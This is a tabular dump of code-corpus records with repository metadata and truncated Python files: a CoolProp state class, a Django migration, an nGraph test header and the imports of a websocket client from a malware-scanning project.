0
0
341
0.035748
0
0
3,799
0.39826
b20eabd7816b307c80c7a57deaf784b914a0c831
2,619
py
Python
model/State.py
BrandonTheBuilder/thermawesome
b2f2cb95e1181f05a112193be11baa18e10d39b1
[ "MIT" ]
null
null
null
model/State.py
BrandonTheBuilder/thermawesome
b2f2cb95e1181f05a112193be11baa18e10d39b1
[ "MIT" ]
null
null
null
model/State.py
BrandonTheBuilder/thermawesome
b2f2cb95e1181f05a112193be11baa18e10d39b1
[ "MIT" ]
null
null
null
from CoolProp import CoolProp as CP class State(object): """ The state of a fluid is defined with two unique intensive properties this class keeps track of the state of the fluid and solves for all other intensive properties. """ def __init__(self, fluid, **kwargs): """ ...
33.576923
82
0.544101
2,577
0.983963
0
0
0
0
0
0
762
0.290951
b20ed9c65d8b7c88f2047aafe3f3e3d7c3016629
2,401
py
Python
dashboard_api/widget_def/migrations/0059_auto_20160701_0929.py
data61/Openboard
aaf7ef49e05c0771094efc6be811c6ae88055252
[ "Apache-2.0" ]
2
2017-08-29T23:05:51.000Z
2019-04-02T21:11:35.000Z
dashboard_api/widget_def/migrations/0059_auto_20160701_0929.py
data61/Openboard
aaf7ef49e05c0771094efc6be811c6ae88055252
[ "Apache-2.0" ]
1
2019-04-02T21:11:26.000Z
2019-04-03T15:12:57.000Z
dashboard_api/widget_def/migrations/0059_auto_20160701_0929.py
data61/Openboard
aaf7ef49e05c0771094efc6be811c6ae88055252
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-06-30 23:29 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('widget_def', '0058_auto_20160617_1124'), ] operations = [ migrations.AlterUn...
28.247059
110
0.549354
2,244
0.934611
0
0
0
0
0
0
597
0.248646
b74658fcd0b086ae391a31278701946a2e7748a0
7,649
py
Python
ngraph/python/tests/test_ngraph/test_ops_reshape.py
mnosov/openvino
c52c4916be0369f092f7da6c162b6c61c37c08d7
[ "Apache-2.0" ]
null
null
null
ngraph/python/tests/test_ngraph/test_ops_reshape.py
mnosov/openvino
c52c4916be0369f092f7da6c162b6c61c37c08d7
[ "Apache-2.0" ]
21
2021-02-16T13:02:05.000Z
2022-02-21T13:05:06.000Z
ngraph/python/tests/test_ngraph/test_ops_reshape.py
mmakridi/openvino
769bb7709597c14debdaa356dd60c5a78bdfa97e
[ "Apache-2.0" ]
null
null
null
# ****************************************************************************** # Copyright 2017-2021 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apa...
32.969828
109
0.651458
0
0
0
0
3,913
0.51157
0
0
1,074
0.140411
b746b8cda074f334edc7ccba71a84d7a2cd55be1
1,980
py
Python
malwarescan/wsclient.py
lbahtarliev/MalwareScan
495e2fd3ceb3498c651ddd360a4cc2eb9571a10b
[ "Unlicense" ]
3
2018-12-06T03:09:16.000Z
2021-02-25T01:13:05.000Z
malwarescan/wsclient.py
lbahtarliev/MalwareScan
495e2fd3ceb3498c651ddd360a4cc2eb9571a10b
[ "Unlicense" ]
9
2018-12-10T18:44:14.000Z
2019-02-06T21:13:31.000Z
malwarescan/wsclient.py
lbahtarliev/MalwareScan
495e2fd3ceb3498c651ddd360a4cc2eb9571a10b
[ "Unlicense" ]
4
2019-06-04T13:46:24.000Z
2021-02-25T02:23:50.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import json import ssl import click from json.decoder import JSONDecodeError from websocket import WebSocketException from websocket import WebSocketConnectionClosedException from websocket import create_connection from datetime import datetime as dtime...
33
92
0.59899
0
0
0
0
838
0.423232
0
0
481
0.242929